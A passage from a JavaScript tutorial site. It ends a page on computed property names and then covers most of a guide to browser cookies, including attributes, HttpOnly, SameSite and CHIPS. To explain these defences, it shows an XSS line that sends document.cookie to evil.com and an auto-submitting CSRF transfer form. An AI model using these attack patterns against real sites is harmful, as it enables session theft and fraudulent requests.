wins** and overwrites previous values. No error is thrown: ```javascript const obj = { ['x']: 1, ['x']: 2, x: 3 }; console.log(obj); // { x: 3 } ``` This applies whether the duplicate comes from computed properties, static properties, or a mix. The same rule applies to the rest of JavaScript—later assignments overwrite earlier ones. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What are computed property names in JavaScript?"> Computed property names are an ES2015 feature that lets you use any expression inside square brackets `[]` in an object literal to dynamically determine a property's name at runtime. The expression is evaluated, converted to a string (or kept as a Symbol), and used as the key — all in a single expression. </Accordion> <Accordion title="How do you use a variable as an object key in JavaScript?"> Wrap the variable in square brackets inside the object literal: `{ [myVariable]: value }`. Without brackets, `{ myVariable: value }` creates a property literally named `"myVariable"`. The brackets tell JavaScript to evaluate the expression and use the result as the key name. </Accordion> <Accordion title="Why do Symbols require computed property syntax?"> Symbol values cannot be expressed as identifiers or string literals in object shorthand. Writing `{ mySymbol: value }` creates a string key `"mySymbol"`, not a Symbol key. Only the computed syntax `{ [mySymbol]: value }` evaluates the variable and uses the actual Symbol as the key, as specified in the ECMAScript standard. </Accordion> <Accordion title="What happens when two computed properties evaluate to the same key?"> The last one wins — JavaScript silently overwrites previous values with no error. This applies whether the duplicates come from computed properties, static properties, or a mix. MDN documents that this behavior is consistent with how all property assignments work in JavaScript. </Accordion> <Accordion title="Can I use computed property names with methods and getters/setters?"> Yes. Computed syntax works with method shorthand (`{ [name]() {} }`), generator methods (`{ *[name]() {} }`), async methods (`{ async [name]() {} }`), and accessor properties (`{ get [name]() {}, set [name](v) {} }`). This enables powerful patterns for dynamically-named APIs. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Modern JS Syntax (ES6+)" icon="wand-magic-sparkles" href="/concepts/modern-js-syntax"> Overview of ES6+ features including destructuring, spread, arrow functions, and enhanced object literals. </Card> <Card title="JavaScript Type Nuances" icon="code" href="/beyond/concepts/javascript-type-nuances"> Deep dive into Symbols, a primary use case for computed property keys in JavaScript. </Card> <Card title="Getters & Setters" icon="arrows-rotate" href="/beyond/concepts/getters-setters"> Combine computed property names with get and set for dynamic accessor properties. </Card> <Card title="Property Descriptors" icon="sliders" href="/beyond/concepts/property-descriptors"> Control writable, enumerable, and configurable flags on your computed properties. </Card> <Card title="Object Methods" icon="cube" href="/beyond/concepts/object-methods"> Iterate and transform objects using Object.keys(), entries(), and fromEntries(). </Card> <Card title="Tagged Template Literals" icon="wand-magic-sparkles" href="/beyond/concepts/tagged-template-literals"> Another ES6+ syntax feature for advanced string processing with template literals. </Card> </CardGroup> --- ## References <CardGroup cols={2}> <Card title="Object Initializer — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#computed_property_names"> Official MDN reference for object literals with a dedicated section on computed property names. </Card> <Card title="Property Accessors — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_accessors"> Understand bracket notation, the foundation for how computed property names work. </Card> <Card title="Symbol — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol"> Comprehensive reference on Symbols, commonly used with computed property syntax. </Card> <Card title="Working with Objects — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_objects"> Beginner guide covering object fundamentals and property access patterns. </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="Objects — javascript.info" icon="newspaper" href="https://javascript.info/object#computed-properties"> Excellent tutorial with a dedicated "Computed properties" section and interactive examples. </Card> <Card title="ES6 In Depth: Symbols" icon="newspaper" href="https://hacks.mozilla.org/2015/06/es6-in-depth-symbols/"> Mozilla Hacks article explaining Symbols and their use as computed property keys for iterables. </Card> <Card title="Exploring ES6: New OOP Features" icon="newspaper" href="https://exploringjs.com/es6/ch_oop-besides-classes.html"> Dr. Axel Rauschmayer's deep technical analysis of computed property keys and ES6 object enhancements. </Card> <Card title="Computed Property Names" icon="newspaper" href="https://ui.dev/computed-property-names"> Focused practical article with before/after ES6 comparisons and real-world examples. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="ES6 JavaScript Tutorial" icon="video" href="https://www.youtube.com/@TraversyMedia"> Traversy Media's comprehensive ES6 coverage including enhanced object literals and computed properties. </Card> <Card title="Modern JavaScript Tutorial" icon="video" href="https://www.youtube.com/@NetNinja"> The Net Ninja's series on modern JavaScript features with clear explanations of ES6 syntax. </Card> <Card title="JavaScript ES6 Features" icon="video" href="https://www.youtube.com/@WebDevSimplified"> Web Dev Simplified tutorials explaining ES6 features including object shorthand and computed properties. </Card> <Card title="JavaScript Quick Tips" icon="video" href="https://www.youtube.com/@Fireship"> Fireship's fast-paced explainers covering JavaScript syntax features and best practices. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/cookies.mdx ================================================ --- title: "Cookies in JavaScript" sidebarTitle: "Cookies" description: "Learn JavaScript cookies. Understand how to read, write, and delete cookies, cookie attributes like HttpOnly and SameSite, and security best practices." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Browser Storage" "article:tag": "cookies, http cookies, cookie attributes, httponly samesite, cookie security" --- Why do websites "remember" you're logged in, even after closing your browser? How does that shopping cart persist across tabs? Why can some data survive for weeks while other data vanishes when you close a tab? ```javascript // Set a cookie that remembers the user for 7 days document.cookie = "username=Alice; max-age=604800; path=/; secure; samesite=strict" // Read all cookies (returns a single string) console.log(document.cookie) // "username=Alice; theme=dark; lang=en" // The server also sees these cookies with every request! // Cookie: username=Alice; theme=dark; lang=en ``` The answer is **cookies**. Invented by Lou Montulli at Netscape in 1994, they're the original browser storage mechanism, and unlike localStorage, cookies are automatically sent to the server with every HTTP request. This makes them essential for authentication, sessions, and any data the server needs to know about. <Info> **What you'll learn in this guide:** - What cookies are and how they differ from other storage - Reading, writing, and deleting cookies with JavaScript - Server-side cookies with the [`Set-Cookie`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie) header - Cookie attributes: `Expires`, `Max-Age`, `Path`, `Domain` - Security attributes: `Secure`, `HttpOnly`, `SameSite` - How to protect against XSS and CSRF attacks - First-party vs third-party cookies and privacy - The future of cookies: third-party deprecation and CHIPS - When to use cookies vs localStorage vs sessionStorage </Info> <Warning> **Prerequisites:** This guide builds on your understanding of [HTTP and Fetch](/concepts/http-fetch) and [localStorage/sessionStorage](/beyond/concepts/localstorage-sessionstorage). Understanding HTTP requests and responses will help you grasp how cookies travel between browser and server. </Warning> --- ## What are Cookies in JavaScript? **[Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies)** are small pieces of data (up to ~4KB) that websites store in the browser and automatically send to the server with every HTTP request. Unlike localStorage which stays in the browser, cookies bridge the gap between client and server, enabling features like user authentication, session management, and personalization that require the server to "remember" who you are. <Note> Cookies were invented by Lou Montulli at Netscape in 1994 to solve the problem of implementing a shopping cart. HTTP is stateless, meaning each request is independent. Cookies gave the web "memory." </Note> --- ## The Visitor Badge Analogy Think of cookies like a **visitor badge at an office building**: 1. **First visit**: You arrive and sign in at reception. They give you a badge with your name and access level. 2. **Moving around**: You wear the badge everywhere. Security guards (servers) can see it and know who you are without asking again. 3. **Badge expiration**: Some badges expire at the end of the day (session cookies). Others are valid for a year (persistent cookies). 4. **Restricted areas**: Some badges only work on certain floors (the `path` attribute). 5. **Security features**: Some badges have photos that can't be photocopied (the `HttpOnly` attribute prevents JavaScript access). ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ HOW COOKIES TRAVEL │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ STEP 1: Browser requests a page │ │ ───────────────────────────────── │ │ │ │ Browser ──────────────────────────────────────────────────────► Server │ │ GET /login HTTP/1.1 │ │ Host: example.com │ │ │ │ STEP 2: Server responds with Set-Cookie │ │ ─────────────────────────────────────── │ │ │ │ Browser ◄────────────────────────────────────────────────────── Server │ │ HTTP/1.1 200 OK │ │ Set-Cookie: sessionId=abc123; HttpOnly; Secure │ │ Set-Cookie: theme=dark; Max-Age=31536000 │ │ │ │ STEP 3: Browser stores cookies and sends them with EVERY request │ │ ──────────────────────────────────────────────────────────────── │ │ │ │ Browser ──────────────────────────────────────────────────────► Server │ │ GET /dashboard HTTP/1.1 │ │ Host: example.com │ │ Cookie: sessionId=abc123; theme=dark │ │ │ │ The server now knows who you are without you logging in again! │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` --- ## Setting Cookies with JavaScript The [`document.cookie`](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie) property is how you read and write cookies in JavaScript. But it has a quirky API that surprises most developers. ### Basic Cookie Syntax ```javascript // Set a simple cookie document.cookie = "username=Alice" // Set a cookie with attributes document.cookie = "username=Alice; max-age=86400; path=/; secure" // Important: Each assignment sets ONE cookie, not all cookies! document.cookie = "theme=dark" // Adds another cookie document.cookie = "lang=en" // Adds yet another cookie ``` ### The Quirky Nature of document.cookie Here's what surprises most developers: `document.cookie` is NOT a regular property. It's an [accessor property](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) with special getter and setter behavior: ```javascript // Setting a cookie doesn't replace all cookies - it adds or updates ONE document.cookie = "a=1" document.cookie = "b=2" document.cookie = "c=3" // Reading returns ALL cookies as a single string console.log(document.cookie) // "a=1; b=2; c=3" // You can't get a single cookie directly - you get ALL of them // There's no document.cookie.a or document.cookie['a'] ``` ### Encoding Special Characters Cookie values can't contain semicolons, commas, or spaces without encoding: ```javascript // Bad: This will break! document.cookie = "message=Hello, World!" // Comma and space cause issues // Good: Encode the value document.cookie = `message=${encodeURIComponent("Hello, World!")}` // Results in: message=Hello%2C%20World! // When reading, decode it back const value = decodeURIComponent(getCookie("message")) // "Hello, World!" ``` --- ## Reading Cookies Reading cookies requires parsing the `document.cookie` string. Here are practical helper functions: ```javascript // Get a specific cookie by name function getCookie(name) { const cookies = document.cookie.split("; ") for (const cookie of cookies) { const [cookieName, cookieValue] = cookie.split("=") if (cookieName === name) { return decodeURIComponent(cookieValue) } } return null } // Usage const username = getCookie("username") // "Alice" or null ``` ### A More Robust Parser ```javascript // Parse all cookies into an object function parseCookies() { return document.cookie .split("; ") .filter(Boolean) // Remove empty strings .reduce((cookies, cookie) => { const [name, ...valueParts] = cookie.split("=") // Handle values that contain '=' signs const value = valueParts.join("=") cookies[name] = decodeURIComponent(value) return cookies }, {}) } // Usage const cookies = parseCookies() console.log(cookies.username) // "Alice" console.log(cookies.theme) // "dark" ``` ### Check If a Cookie Exists ```javascript function hasCookie(name) { return document.cookie .split("; ") .some(cookie => cookie.startsWith(`${name}=`)) } // Usage if (hasCookie("sessionId")) { console.log("User is logged in") } ``` --- ## Writing Cookies: A Complete Helper Here's a comprehensive cookie-setting function: ```javascript function setCookie(name, value, options = {}) { // Default options const defaults = { path: "/", // Available across the entire site secure: true, // HTTPS only (recommended) sameSite: "lax" // CSRF protection } const settings = { ...defaults, ...options } // Start building the cookie string let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}` // Add expiration if (settings.maxAge !== undefined) { cookieString += `; max-age=${settings.maxAge}` } else if (settings.expires instanceof Date) { cookieString += `; expires=${settings.expires.toUTCString()}` } // Add path if (settings.path) { cookieString += `; path=${settings.path}` } // Add domain (for sharing across subdomains) if (settings.domain) { cookieString += `; domain=${settings.domain}` } // Add security flags if (settings.secure) { cookieString += "; secure" } if (settings.sameSite) { cookieString += `; samesite=${settings.sameSite}` } document.cookie = cookieString } // Usage examples setCookie("username", "Alice", { maxAge: 86400 }) // 1 day setCookie("preferences", JSON.stringify({ theme: "dark" })) // Store object setCookie("temp", "value", { maxAge: 0 }) // Delete immediately ``` --- ## Deleting Cookies There's no direct "delete" method for cookies. Instead, you set the cookie with an expiration in the past or `max-age=0`: ```javascript function deleteCookie(name, options = {}) { // Must use the same path and domain as when the cookie was set! setCookie(name, "", { ...options, maxAge: 0 // Expire immediately }) } // Alternative: Set expiration to the past document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/" // Usage deleteCookie("username") deleteCookie("sessionId", { path: "/app" }) // Must match original path! ``` <Warning> **Critical:** When deleting a cookie, you MUST use the same `path` and `domain` attributes as when it was set. If a cookie was set with `path=/app`, deleting it with `path=/` won't work! </Warning> --- ## Server-Side Cookies with Set-Cookie While JavaScript can set cookies, servers have more control using the [`Set-Cookie`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie) HTTP header: ```http HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600 Set-Cookie: csrfToken=xyz789; Secure; SameSite=Strict; Max-Age=3600 ``` ### Node.js/Express Example ```javascript const express = require("express") const app = express() app.post("/login", (req, res) => { // After validating credentials... const sessionId = generateSecureSessionId() // Set a secure session cookie res.cookie("sessionId", sessionId, { httpOnly: true, // Can't be accessed by JavaScript! secure: true, // HTTPS only sameSite: "strict", // CSRF protection maxAge: 3600000 // 1 hour in milliseconds }) res.json({ success: true }) }) app.post("/logout", (req, res) => { // Clear the session cookie res.clearCookie("sessionId", { httpOnly: true, secure: true, sameSite: "strict" }) res.json({ success: true }) }) ``` ### Why Server-Set Cookies? Servers can set cookies that JavaScript **cannot read or modify**: | Setter | Can Use HttpOnly? | JavaScript Access | Best For | |--------|------------------|-------------------|----------| | Server (`Set-Cookie`) | Yes | Blocked with HttpOnly | Session tokens, auth | | JavaScript (`document.cookie`) | No | Always accessible | UI preferences, non-sensitive data | --- ## Cookie Attributes Explained ### Expires and Max-Age: Controlling Lifetime <Tabs> <Tab title="max-age (Recommended)"> ```javascript // Expires in 1 hour (3600 seconds) document.cookie = "token=abc; max-age=3600" // Expires in 7 days document.cookie = "remember=true; max-age=604800" // Delete immediately (max-age=0 or negative) document.cookie = "token=; max-age=0" ``` **Why prefer `max-age`?** It's relative to now, not dependent on clock synchronization between client and server. </Tab> <Tab title="expires (Legacy)"> ```javascript // Expires on a specific date (must be UTC string) const expDate = new Date() expDate.setTime(expDate.getTime() + 7 * 24 * 60 * 60 * 1000) // 7 days document.cookie = `remember=true; expires=${expDate.toUTCString()}` // expires=Sun, 12 Jan 2025 10:30:00 GMT // Delete by setting past date document.cookie = "token=; expires=Thu, 01 Jan 1970 00:00:00 GMT" ``` **Caution:** `expires` depends on the client's clock, which may be wrong. </Tab> <Tab title="Session Cookie"> ```javascript // No expires or max-age = session cookie document.cookie = "tempData=xyz" // This cookie is deleted when the browser closes // (Though "session restore" features may keep it alive!) ``` </Tab> </Tabs> ### Path: URL Restriction The `path` attribute restricts which URLs the cookie is sent to: ```javascript // Only sent to /app and below (/app/dashboard, /app/settings) document.cookie = "appToken=abc; path=/app" // Only sent to /admin and below document.cookie = "adminToken=xyz; path=/admin" // Sent everywhere on the site (default recommendation) document.cookie = "theme=dark; path=/" ``` ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ PATH ATTRIBUTE BEHAVIOR │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ Cookie: token=abc; path=/app │ │ │ │ / ✗ Cookie NOT sent │ │ /about ✗ Cookie NOT sent │ │ /app ✓ Cookie sent │ │ /app/ ✓ Cookie sent │ │ /app/dashboard ✓ Cookie sent │ │ /app/settings ✓ Cookie sent │ │ /application ✗ Cookie NOT sent (not a subpath!) │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` <Warning> **Security Note:** The `path` attribute is NOT a security feature! A malicious script on `/public` can still read cookies set for `/admin` by creating a hidden iframe. Use `HttpOnly` and proper authentication instead. </Warning> ### Domain: Subdomain Sharing The `domain` attribute controls which domains receive the cookie: ```javascript // Default: Only sent to exact domain that set it document.cookie = "token=abc" // Only sent to www.example.com // Explicitly share with all subdomains document.cookie = "token=abc; domain=example.com" // Sent to: example.com, www.example.com, api.example.com, etc. ``` **Rules:** - You can only set `domain` to your current domain or a parent domain - You cannot set cookies for unrelated domains (security restriction) - Leading dots (`.example.com`) are ignored in modern browsers --- ## Security Attributes: Protecting Your Cookies ### Secure: HTTPS Only ```javascript // Only sent over HTTPS connections document.cookie = "sessionId=abc; secure" // Without 'secure', cookies can be intercepted on HTTP! ``` <Tip> **Always use `secure` for any sensitive cookie.** Without it, cookies can be intercepted by attackers on public WiFi (man-in-the-middle attacks). </Tip> ### HttpOnly: Block JavaScript Access The `HttpOnly` attribute is critical for security, but JavaScript cannot set it: ```http Set-Cookie: sessionId=abc123; HttpOnly; Secure ``` ```javascript // This cookie is invisible to JavaScript! console.log(document.cookie) // sessionId won't appear // Attackers can't steal it via XSS: // new Image().src = "https://evil.com/steal?cookie=" + document.cookie // The sessionId won't be included! ``` **Why HttpOnly matters:** ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ XSS ATTACK WITHOUT HttpOnly │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. Attacker injects malicious script into your site │ │ 2. Script runs: new Image().src = "evil.com?c=" + document.cookie │ │ 3. Attacker receives your session cookie! │ │ 4. Attacker impersonates you and accesses your account │ │ │ │ WITH HttpOnly: │ │ 1. Attacker injects malicious script │ │ 2. Script runs: document.cookie doesn't include HttpOnly cookies! │ │ 3. Attacker gets nothing sensitive │ │ 4. Your session is protected │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` ### SameSite: CSRF Protection The [`SameSite`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#samesitesamesite-value) attribute controls when cookies are sent with cross-site requests. According to web.dev's SameSite cookies guide, Chrome changed the default from `None` to `Lax` in 2020, significantly improving CSRF protection across the web: <Tabs> <Tab title="Strict"> ```javascript document.cookie = "sessionId=abc; samesite=strict" ``` **Behavior:** Cookie is NEVER sent with cross-site requests. **Use case:** High-security cookies (banking, account management). **Downside:** If a user clicks a link from their email to your site, they won't be logged in on that first request. </Tab> <Tab title="Lax (Default)"> ```javascript document.cookie = "sessionId=abc; samesite=lax" ``` **Behavior:** Cookie is sent with top-level navigations (clicking links) but NOT with cross-site POST requests, images, or iframes. **Use case:** General authentication cookies. Good balance of security and usability. **Note:** This is the default in modern browsers if `SameSite` is not specified. </Tab> <Tab title="None"> ```javascript // Must include Secure when using SameSite=None! document.cookie = "widgetId=abc; samesite=none; secure" ``` **Behavior:** Cookie is sent with ALL requests, including cross-site. **Use case:** Third-party cookies, embedded widgets, cross-site services. **Requirement:** Must also have `Secure` attribute. </Tab> </Tabs> **CSRF Attack Prevention:** ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ CSRF ATTACK SCENARIO │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. You're logged into bank.com (session cookie stored) │ │ 2. You visit evil.com which contains: │ │ <form action="https://bank.com/transfer" method="POST"> │ │ <input name="to" value="attacker"> │ │ <input name="amount" value="10000"> │ │ </form> │ │ <script>document.forms[0].submit()</script> │ │ 3. WITHOUT SameSite: Your session cookie is sent, transfer succeeds! │ │ 4. WITH SameSite=Strict or Lax: Cookie NOT sent, attack fails! │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` ### Cookie Prefixes: Extra Security Modern browsers support special cookie name prefixes that enforce security requirements: ```http # __Secure- prefix: MUST have Secure attribute Set-Cookie: __Secure-sessionId=abc; Secure; Path=/ # __Host- prefix: MUST have Secure, Path=/, and NO Domain Set-Cookie: __Host-sessionId=abc; Secure; Path=/ ``` The `__Host-` prefix provides the strongest guarantees: - Can only be set from a secure (HTTPS) page - Must have `Secure` attribute - Must have `Path=/` - Cannot have a `Domain` attribute (bound to exact host) --- ## First-Party vs Third-Party Cookies ### First-Party Cookies Cookies set by the website you're visiting: ```javascript // On example.com document.cookie = "theme=dark" // First-party cookie ``` ### Third-Party Cookies Cookies set by a different domain than the one you're visiting: ```html <!-- On example.com, this image loads from ads.tracker.com --> <img src="https://ads.tracker.com/pixel.gif"> <!-- ads.tracker.com can set a cookie that tracks you across sites --> ``` **How third-party tracking works:** ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ THIRD-PARTY COOKIE TRACKING │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ You visit site-a.com │ │ ├── Page loads ads.tracker.com/pixel.gif │ │ └── tracker.com sets cookie: userId=12345 │ │ │ │ Later, you visit site-b.com │ │ ├── Page loads ads.tracker.com/pixel.gif │ │ └── tracker.com receives cookie: userId=12345 │ │ "Ah, this is the same person who visited site-a.com!" │ │ │ │ tracker.com now knows your browsing history across multiple sites │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` --- ## Third-Party Cookie Deprecation Major browsers are phasing out third-party cookies for privacy. According to MDN's third-party cookies documentation, this represents one of the most significant changes to web tracking since cookies were invented: | Browser | Status | |---------|--------| | Safari | Blocked by default since 2020 | | Firefox | Blocked by default in Enhanced Tracking Protection | | Chrome | Rolling out restrictions in 2024-2025 | ### CHIPS: Partitioned Cookies For legitimate cross-site use cases (embedded widgets, federated login), browsers now support **Cookies Having Independent Partitioned State (CHIPS)**: ```http Set-Cookie: __Host-widgetSession=abc; Secure; Path=/; Partitioned; SameSite=None ``` With `Partitioned`, the cookie is isolated per top-level site: ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ PARTITIONED COOKIES (CHIPS) │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ widget.com embedded in site-a.com │ │ └── Cookie: widgetSession=abc (partitioned to site-a.com) │ │ │ │ widget.com embedded in site-b.com │ │ └── Cookie: widgetSession=xyz (partitioned to site-b.com) │ │ │ │ These are DIFFERENT cookies! widget.com can't track across sites. │ │ But it CAN maintain state within each embedding site. │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` --- ## Cookies vs Web Storage: When to Use What | Feature | Cookies | localStorage | sessionStorage | |---------|---------|--------------|----------------| | **Size limit** | ~4KB per cookie | ~5-10MB | ~5-10MB | | **Sent to server** | Yes, automatically | No | No | | **Expiration** | Configurable | Never | Tab close | | **JavaScript access** | Yes (unless HttpOnly) | Yes | Yes | | **Survives browser close** | If persistent | Yes | No | | **Shared across tabs** | Yes | Yes | No | | **Best for** | Auth, server state | Large data, preferences | Temporary state | ### Decision Guide <Steps> <Step title="Does the server need this data?"> **Yes** → Use cookies (they're sent automatically with requests) **No** → Consider Web Storage (doesn't add overhead to requests) </Step> <Step title="Is it sensitive (session tokens, auth)?"> **Yes** → Use server-set cookies with `HttpOnly`, `Secure`, `SameSite` **No** → JavaScript-set cookies or Web Storage are fine </Step> <Step title="How much data?"> **> 4KB** → Use localStorage or sessionStorage **< 4KB** → Either works </Step> <Step title="Should it persist across tabs?"> **No, only this tab** → Use sessionStorage **Yes** → Use cookies or localStorage </Step> </Steps> --- ## Common Mistakes <AccordionGroup> <Accordion title="1. Forgetting to encode values"> ```javascript // Bad: Special characters break the cookie document.cookie = "query=search term with spaces" // Good: Encode the value document.cookie = `query=${encodeURIComponent("search term with spaces")}` ``` </Accordion> <Accordion title="2. Wrong path when deleting"> ```javascript // Cookie was set with: document.cookie = "token=abc; path=/app" // This WON'T delete it: document.cookie = "token=; max-age=0" // Wrong! Default path is current page // This WILL delete it: document.cookie = "token=; max-age=0; path=/app" // Same path! ``` </Accordion> <Accordion title="3. Storing sensitive data without HttpOnly"> ```javascript // Dangerous: JavaScript can read this (XSS vulnerable) document.cookie = "sessionToken=secret123" // Better: Set from server with HttpOnly // Set-Cookie: sessionToken=secret123; HttpOnly; Secure ``` </Accordion> <Accordion title="4. Missing SameSite on sensitive cookies"> ```javascript // Vulnerable to CSRF attacks document.cookie = "authToken=abc; secure" // Protected against CSRF document.cookie = "authToken=abc; secure; samesite=strict" ``` </Accordion> <Accordion title="5. Exceeding size limits"> ```javascript // Cookies have ~4KB limit. This might fail silently: const hugeData = JSON.stringify(largeObject) // 10KB document.cookie = `data=${hugeData}` // Silently truncated or rejected! // For large data, use localStorage instead localStorage.setItem("data", hugeData) ``` </Accordion> <Accordion title="6. Not considering cookie overhead"> ```javascript // Every cookie is sent with EVERY request to that domain! // 20 cookies × 100 bytes = 2KB extra per request // For data that doesn't need to go to the server: localStorage.setItem("uiState", JSON.stringify(state)) // Not sent! ``` </Accordion> </AccordionGroup> --- ## Best Practices <AccordionGroup> <Accordion title="1. Always use Secure for sensitive cookies"> ```javascript // Good: Only sent over HTTPS document.cookie = "sessionId=abc; secure; samesite=strict" // Server-side (Express): res.cookie("sessionId", token, { secure: true }) ``` This prevents cookies from being intercepted on insecure networks. </Accordion> <Accordion title="2. Use HttpOnly for session cookies"> ```http Set-Cookie: sessionId=abc; HttpOnly; Secure; SameSite=Strict ``` JavaScript cannot read HttpOnly cookies, protecting them from XSS attacks. </Accordion> <Accordion title="3. Set appropriate SameSite values"> ```javascript // For session/auth cookies: Strict or Lax document.cookie = "auth=token; samesite=strict; secure" // For cross-site widgets: None (with Secure) document.cookie = "widget=data; samesite=none; secure" ``` </Accordion> <Accordion title="4. Minimize cookie data"> ```javascript // Bad: Storing lots of data in cookies document.cookie = `userData=${JSON.stringify(entireUserProfile)}` // Good: Store only an identifier, keep data server-side document.cookie = "userId=12345; secure; samesite=strict" // Server looks up full profile using userId ``` </Accordion> <Accordion title="5. Set explicit expiration"> ```javascript // Bad: Session cookie (unclear lifetime) document.cookie = "preference=dark" // Good: Explicit lifetime document.cookie = "preference=dark; max-age=31536000" // 1 year ``` </Accordion> <Accordion title="6. Use cookie prefixes for extra security"> ```http # Strongest security guarantees Set-Cookie: __Host-sessionId=abc; Secure; Path=/ # Good security Set-Cookie: __Secure-token=xyz; Secure; Path=/ ``` </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The key things to remember about Cookies:** 1. **Cookies are sent to the server** — Unlike localStorage, cookies automatically travel with every HTTP request to the same domain 2. **~4KB limit per cookie** — For larger data, use localStorage or sessionStorage 3. **Use `HttpOnly` for sensitive cookies** — Server-set cookies with HttpOnly can't be stolen via XSS attacks 4. **Always use `Secure` for sensitive data** — Ensures cookies only travel over HTTPS 5. **Use `SameSite` to prevent CSRF** — `Strict` or `Lax` block cross-site request forgery attacks 6. **Path and domain must match for deletion** — Deleting a cookie requires the same path/domain as when it was set 7. **Third-party cookies are being phased out** — Use partitioned cookies (CHIPS) for legitimate cross-site use cases 8. **`document.cookie` is quirky** — Setting adds/updates one cookie; reading returns all cookies as a string 9. **Encode special characters** — Use `encodeURIComponent()` for values with spaces, semicolons, or commas 10. **Choose the right storage** — Cookies for server communication, localStorage for persistence, sessionStorage for temporary state </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between session and persistent cookies?"> **Session cookies** have no `Expires` or `Max-Age` attribute and are deleted when the browser closes. **Persistent cookies** have an explicit expiration and survive browser restarts. ```javascript // Session cookie (deleted on browser close) document.cookie = "tempId=abc" // Persistent cookie (lasts 7 days) document.cookie = "remember=true; max-age=604800" ``` Note: Some browsers' "session restore" feature can resurrect session cookies! </Accordion> <Accordion title="Question 2: Why can't JavaScript read HttpOnly cookies?"> `HttpOnly` is a security feature that prevents JavaScript from accessing the cookie via `document.cookie` or other APIs. This protects against XSS (Cross-Site Scripting) attacks. If an attacker injects malicious JavaScript into your page, they can't steal session cookies that have `HttpOnly` set. ```javascript // If server set: Set-Cookie: session=abc; HttpOnly console.log(document.cookie) // "session=abc" will NOT appear! ``` The cookie still works—it's sent with requests—JavaScript just can't read it. </Accordion> <Accordion title="Question 3: What does SameSite=Strict prevent?"> `SameSite=Strict` prevents the cookie from being sent with ANY cross-site request, including: - Clicking a link from another site to your site - Form submissions from other sites - Images, iframes, or scripts loading from other sites This provides strong CSRF protection but can affect usability—users clicking links from emails or other sites won't be logged in on the first request. `SameSite=Lax` is often a better balance—it allows cookies on top-level navigation links but blocks them on POST requests and embedded resources. </Accordion> <Accordion title="Question 4: How do you delete a cookie?"> Set the same cookie with `max-age=0` or an `expires` date in the past: ```javascript // Method 1: max-age=0 document.cookie = "username=; max-age=0; path=/" // Method 2: expires in the past document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/" ``` **Critical:** You must use the same `path` and `domain` attributes as when the cookie was set! </Accordion> <Accordion title="Question 5: When should you use cookies vs localStorage?"> **Use cookies when:** - The server needs the data (authentication, session tokens) - You need to set `HttpOnly` for security - Data is small (< 4KB) **Use localStorage when:** - Data is client-side only (UI preferences) - Data is large (> 4KB) - You want to avoid adding overhead to HTTP requests **Use sessionStorage when:** - Data should only last for the current tab - Data shouldn't be shared across tabs </Accordion> <Accordion title="Question 6: What are cookie prefixes and why use them?"> Cookie prefixes are special naming conventions that browsers enforce: - **`__Secure-`**: Cookie MUST have the `Secure` attribute - **`__Host-`**: Cookie MUST have `Secure`, `Path=/`, and NO `Domain` ```http Set-Cookie: __Host-sessionId=abc; Secure; Path=/ ``` They provide defense-in-depth—even if there's a bug in your code, the browser enforces these security requirements. `__Host-` is the most restrictive, ensuring the cookie can only be set by and sent to the exact host. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the difference between cookies and localStorage?"> Cookies are automatically sent to the server with every HTTP request and have a ~4KB size limit, while localStorage stays in the browser and offers ~5–10MB. Use cookies when the server needs the data (authentication, sessions). Use localStorage for client-only data like UI preferences that doesn't need to travel with requests. </Accordion> <Accordion title="What does the HttpOnly cookie attribute do?"> `HttpOnly` prevents JavaScript from accessing the cookie via `document.cookie`. This protects against XSS attacks — even if an attacker injects malicious JavaScript, they cannot steal HttpOnly cookies. According to MDN, HttpOnly can only be set by the server via the `Set-Cookie` header, not by client-side JavaScript. </Accordion> <Accordion title="What is the SameSite cookie attribute?"> `SameSite` controls whether cookies are sent with cross-site requests. `Strict` blocks all cross-site sending, `Lax` (the default 